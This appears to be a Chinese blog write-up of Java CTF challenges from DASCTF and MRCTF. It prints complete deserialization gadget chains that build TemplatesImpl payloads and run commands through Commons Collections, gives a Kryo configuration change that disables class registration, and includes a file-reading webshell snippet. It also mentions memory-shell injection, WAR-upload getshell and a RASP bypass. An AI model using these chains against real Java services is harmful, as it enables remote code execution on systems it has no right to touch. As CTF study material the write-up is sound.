0
点赞
收藏
分享

微信扫一扫

Java安全(十四) CTF-Java题目复现

数数扁桃 2022-05-04 阅读 52
java

DASCTF

warmupjava

看到了 InvocationHandler 和 invoke 确实立马想到了动态代理进行反序列化,但是无奈经验还是太少了。

这里invoke已经为我们实现好了,关键还是在于找到一个类的方法,最好在第一次反射调用方法时就能任意代码执行,templates类就正好:
在这里插入图片描述

第一个方法getOutputProperties()会继续调用newTransformer()然后到getTransletInstance(),就会加载自定义类的静态代码部分,完成攻击,那么如何构造呢?来借鉴CC2。

首先利用javassist得到可执行命令的恶意字节码以及要利用的templates和代理:

public static class evilPayload extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath((new ClassClassPath(evilPayload.class)));
CtClass clazz = pool.get((evilPayload.class.getName()));
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("CyanM0un");

TemplatesImpl tmplates = new TemplatesImpl();
setFieldValue(tmplates, "_bytecodes", new byte[][] { clazz.toBytecode() });
setFieldValue(tmplates, "_name", "HelloTemplatesTmpl");
setFieldValue(tmplates, "_tfactory", new TransformerFactoryImpl());

MyInHandle s = new MyInHandle(Templates.class);
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{ Comparator.class },s);//调用comparator的任何方法会先调用MyInHandle的invoke方法

然后仿照CC2链即可

PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(1);

Object[] objects = new Object[]{templates, templates};
setFieldValue(priorityQueue, "queue", objects);
setFieldValue(priorityQueue, "comparator", comparator);

稍微用下原来的Utils类即可:
在这里插入图片描述

总的来说,更像半条CC2链

MRCTF

shell basic

学习了tomcat的部署运行,上传war,冰蝎使用:
Tomcat后台上传war包getshell复现

easy java

FactoryTransformer的transform可以调用任意Factory子类的create方法

其中

org.apache.commons.collections.functors.InstantiateFactory#create可以实例化任意类,代替InstantiateTransformer去实例化对象

在这里插入图片描述

所以payload如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.nibblesec.tools.SerialKiller;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "1");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        InstantiateFactory instantiateFactory;
        instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
        ,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

        FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap = new HashMap();
        LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        setFieldValue(outerMap,"factory",factoryTransformer);

        outerMap.remove("keykey");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(expMap);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "path/serialkiller.xml");
        ois.readObject();

    }
}

熟悉CC6的就不用往下看了,这里有两个细节:

  1. 对expMap做put操作会触发hashCode,提前触发payload,并且导致报错出现,可以先设置一个无关紧要的transformer(比如ConstantTransformer)最后再反射替换成我们恶意的Transformer
  2. 为什么最后要outerMap.remove():在前面expMap.put()的时候,我们最终会进入到LazyMap的get方法中:

在这里插入图片描述

如果LazyMap没有键值为keykey,那么会调用factory的transform方法,这里为之前的ConstantTransform,返回值为1并将这个键值对放入LazyMap中(不知道为什么我在new expMap的时候就添加进去了)。所以最后要将它删除才能在反序列化的时候进入这里。算是消除expMap.put的影响。

可以执行命令后,因为目标不出网,既可以注入内存马(没有学过的可以看看:利用 intercetor 注入 spring 内存 webshell,代码实现),也可以直接把flag写到目录下读

springcoffee

关于demo路由,主要是根据输入修改一些关键配置,我们仅需发送:

{"polish":"true","RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}

去关闭注册功能,那么这行代码是怎么来的呢?

可以跟着y4师傅的思路一步一步来,先把环境代码配置好,关于payload部分后续根据一些链接学习,然后:

在这里插入图片描述

确实看到了这个报错:Class is not registered: java.util.HashMap

看看Kryo的构造函数:

public Kryo(ClassResolver classResolver, ReferenceResolver referenceResolver) {
    		/...省略/
            this.register(Integer.TYPE, new IntSerializer());
            this.register(String.class, new StringSerializer());
            this.register(Float.TYPE, new FloatSerializer());
            this.register(Boolean.TYPE, new BooleanSerializer());
            this.register(Byte.TYPE, new ByteSerializer());
            this.register(Character.TYPE, new CharSerializer());
            this.register(Short.TYPE, new ShortSerializer());
            this.register(Long.TYPE, new LongSerializer());
            this.register(Double.TYPE, new DoubleSerializer());
        }
    }

实例化的时候注册了一些基本类型,代码中有this.kryo.register(Mocha.class)

在这里插入图片描述

添加到测试代码中,然后调试,确实可以看出默认是FieldSerializer

在这里插入图片描述

这道题思路触发的核心是通过com.esotericsoftware.kryo.serializers.MapSerializer(先知道是它,后面再继续学习相应的payload),但是这里我们没法自己注册,就需要用到上面那个demo路由,它可以根据我们前端传入的json当中的属性控制执行对应的set方法做属性更改。

先看看能对哪些属性做更改,其实就是输出下set为首的函数名
在这里插入图片描述

然后找到异常处,在com.esotericsoftware.kryo.Kryo#getRegistration(java.lang.Class)

在这里插入图片描述

再调试看看

在这里插入图片描述

根据类型在this.classResolver.getRegistration无结果就会抛出异常,通过debug输出classResolver当中的关键信息

在这里插入图片描述

确实没有Hashmap,但是如果将this.registerRequired设为false,即使为NULL也不会出异常,会紧接着执行registerImplicit方法

在这里插入图片描述

最终获取到我们需要的com.esotericsoftware.kryo.serializers.MapSerializer

在这里插入图片描述

所以传入

{"RegistrationRequired":false}

然后就是下一个问题:我们序列化的类需要有无参构造函数

在这里插入图片描述

跟到com.esotericsoftware.kryo.util.DefaultInstantiatorStrategy#newInstantiatorOf看看

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

所以最后传参:

{"polish":true,"RegistrationRequired":false,"InstantiatorStrategy": "org.objenesis.strategy.StdInstantiatorStrategy"}

最后的一个点就是_tfactory空指针异常,因为Rome链通过触发com.rometools.rome.feed.impl.EqualsBean#beanEquals我们能调用任意get方法

public Object getObject()
    throws IOException, ClassNotFoundException
{
    // creating a stream pipe-line, from b to a
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

虎符:虎符 2022 ezchain

Rome反序列化:ROEM链及其缩短链,ROME改造计划

Kryo反序列化:浅析Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)

最后再记录下读文件和目录的代码:

String urlContent = "";
final URL url = new URL(request.getParameter("read"));
final BufferedReader in = new BufferedReader(new
                                             InputStreamReader(url.openStream()));
String inputLine = "";
while ((inputLine = in.readLine()) != null) {
  urlContent = urlContent + inputLine + "\n";
}
in.close();
writer.println(urlContent);
//传入read=file:///读根目录

然后就是用UNIXProcess绕过Rasp了

参考链接

https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/
https://forum.butian.net/share/1520

举报

相关推荐

0 条评论